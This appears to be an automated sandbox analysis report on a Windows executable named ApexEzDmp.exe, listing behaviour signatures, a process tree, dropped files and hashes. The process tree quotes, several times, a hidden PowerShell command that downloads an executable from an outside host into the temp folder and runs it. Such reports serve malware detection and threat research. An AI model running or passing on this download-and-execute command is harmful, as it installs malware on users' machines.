Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    28/05/2026, 00:56

General

  • Target
    ApexEzDmp.exe
  • Size 212KB
  • Sample260528-bas8tsct8m
  • SHA256 65201113cef9e7daeccbb199215b19aa8a95bf03aa10658bcb74c5b9b8607524
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ApexEzDmp.exe
    "C:\Users\Admin\AppData\Local\Temp\ApexEzDmp.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2528
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK773108.exe; Start-Process -FilePath $env:TEMP\BK773108.exe -WindowStyle Hidden }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2440
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK773108.exe; Start-Process -FilePath $env:TEMP\BK773108.exe -WindowStyle Hidden }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3712
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK773108.exe; Start-Process -FilePath $env:TEMP\BK773108.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1056
          • C:\Users\Admin\AppData\Local\Temp\BK773108.exe
            "C:\Users\Admin\AppData\Local\Temp\BK773108.exe"
            5⤵
            • Executes dropped EXE
            PID:3656
    • C:\Windows\system32\cmd.exe
      /c start C:\Users\Admin\AppData\Local\Temp\ox_1779929814287.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5072
      • C:\Users\Admin\AppData\Local\Temp\ox_1779929814287.exe
        C:\Users\Admin\AppData\Local\Temp\ox_1779929814287.exe
        3⤵
        • Executes dropped EXE
        PID:564

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        BK773108.exe

        • Path C:\Users\Admin\AppData\Local\Temp\BK773108.exe
        • Size 276KB
        • SHA256 2f660620d2b7277ef3180f8429e35afa7884f1945b73662aa1a38ec3258ea4c3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_il2tpnag.l1z.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_il2tpnag.l1z.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1056-1-0x0000015C7EAA0000-0x0000015C7EAB0000-memory.dmp

        memory/1056-2-0x0000015C7EAA0000-0x0000015C7EAB0000-memory.dmp

        memory/1056-8-0x0000015C7E970000-0x0000015C7E992000-memory.dmp

        memory/1056-10-0x0000015C7EAA0000-0x0000015C7EAB0000-memory.dmp

        memory/2528-0-0x0000000140000000-0x0000000140035000-memory.dmp

        memory/2528-21-0x0000000140000000-0x0000000140035000-memory.dmp